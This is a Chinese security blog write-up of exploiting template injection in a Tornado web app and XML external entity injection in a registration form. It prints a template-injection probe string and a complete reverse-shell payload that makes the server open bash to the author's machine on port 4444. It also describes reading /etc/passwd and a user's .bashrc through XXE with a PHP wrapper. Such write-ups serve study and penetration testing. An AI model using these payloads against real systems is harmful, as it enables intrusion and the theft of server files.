SSTI模板注入与XXE注入漏洞的挖掘和利用

admin 2025年2月25日15:55:42评论22 views字数 1954阅读6分30秒阅读模式
点击上方蓝字
SSTI模板注入与XXE注入漏洞的挖掘和利用
关注格物安全
SSTI模板注入挖掘和利用

        当我使用nmap对网站的端口和服务进行扫描的时候发现9999端口开放的web服务用的是Tornado框架。

SSTI模板注入与XXE注入漏洞的挖掘和利用

        Tornado是一个python语言的web服务框架,python作为后端语言,我能想到的最有可能存在的漏洞也就是SSTI模板注入了,所以我这里随手测一下看是否有SSTI模板注入的漏洞。

SSTI模板注入与XXE注入漏洞的挖掘和利用

如上图所示,我们可以看到服务器处理了我们8*8的计算,并返回了结果64,说明这里可能是存在SSTI模板注入漏洞的

知识补充:我这里给出一个模板注入通用的测试payload

{{1+abcdef}}${1+abcdef}<?1+abcdef?>[1+abcdef]

如果使用该payload后发现页面产生了如下图所示的报错,也是可以说明存在模板注入漏洞。

SSTI模板注入与XXE注入漏洞的挖掘和利用

既然我已经验证了存在SSTI模板注入,接下来我就又尝试构造了一个反弹shell的payload,尝试getshell,从而突破边界。

 {% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/IP/4444 0>&1"')}}    #这里的ip需要换成自己服务器的ip

然后我先在自己的服务器上监听了4444端口,然后我把上面的payload经过url编码后直接通过name参数传给服务器执行。

SSTI模板注入与XXE注入漏洞的挖掘和利用

如上图所示我们发现shell成功反弹,我们获取到一个普通用户的权限的账号。接下来的后续操作,这里就不再记录了。

SSTI模板注入与XXE注入漏洞的挖掘和利用
XXE注入漏洞挖掘与利用

        下面这张图是我在一个网站的注册页面提交数据的时候抓的包,通过burp抓包我发现这个请求提交的数据是以xml的格式进行提交的,到这里我就有思路了,我知道这里可以测试是否存在xxe漏洞

SSTI模板注入与XXE注入漏洞的挖掘和利用

补充知识:XML 被设计用于传输和存储数据,XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据 从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发 生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载 恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站 等危害。

        测试是否存在xxe漏洞很重要的一个点就是我们如果我们提交的某个数据经过服务器的处理,会原封不动的显示在页面当中的时候,这个提交数据的点就很有可能会存在xxe的漏洞,而刚好当前页面提交邮箱数据的这个点就符合这个特征。

如下图所示:

SSTI模板注入与XXE注入漏洞的挖掘和利用

        接下来我们通过burp抓包然后修改请求包中的内容来尝试读取/etc/passwd文件进行测试,如果成功读取到了该文件,则说明这里存在可以利用的xxe漏洞。

SSTI模板注入与XXE注入漏洞的挖掘和利用

        如上图所示,我从返回包中可以看出,服务器执行了我们的读取/etc/passwd文件的请求,也就说明了这个点是存在xxe漏洞的,我们从返回包中看到了一个用户xxxx

SSTI模板注入与XXE注入漏洞的挖掘和利用

        接着我又开始尝试访问xxxx用户家目录下的文件,当我访问到bash的配置文件bashrc时发现返回结果为空,然后我猜测可能是存在一些过滤的手段,然后我又尝试使用php的封装器来读取这个文件,因为bash的配置文件bashrc文件中可能会存在一些用户的敏感信息,所以我想尝试看能否返回的一些有用的信息。

SSTI模板注入与XXE注入漏洞的挖掘和利用

        当我使用php的封装器来读取这个文件的时候,如下图所示发现返回包中出现了base64编码后的数据,说明这种方法成功的绕过了一些过滤,然后读取到了该文件的内容。

SSTI模板注入与XXE注入漏洞的挖掘和利用

本篇文章主要介绍了SSTI模板注入漏洞和XXE漏洞的常规挖掘思路及利用过程,用到的知识比较基础,希望看到本文各位大佬,轻点喷。

SSTI模板注入与XXE注入漏洞的挖掘和利用
END

【往期推荐】

漏洞复现 | CVE-2022-24990信息泄露+RCE(POC已公开)

SpringBoot入门笔记第一篇 | 环境准备、构建项目、单元测试、热部署

漏洞复现 | CVE-2022-0847内核提权漏洞(POC已公开)

漏洞监控平台——Monitor(源码在文末)

使用poste搭建自己的邮件服务器

实战 | 一次杀猪盘的拿shell经历

DC-1靶机实战和分析

实战|一个表白墙引发的“血案”

SSTI模板注入与XXE注入漏洞的挖掘和利用

「由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人承担,EXP 与 POC 仅供对已授权的目标使用测试。本文中的漏洞均为公开的漏洞收集,若文章中的敏感内容产生了部分影响,请及时联系作者删除,望师傅们谅解」

原文始发于微信公众号(小艾搞安全):SSTI模板注入与XXE注入漏洞的挖掘和利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日15:55:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSTI模板注入与XXE注入漏洞的挖掘和利用https://cn-sec.com/archives/845019.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息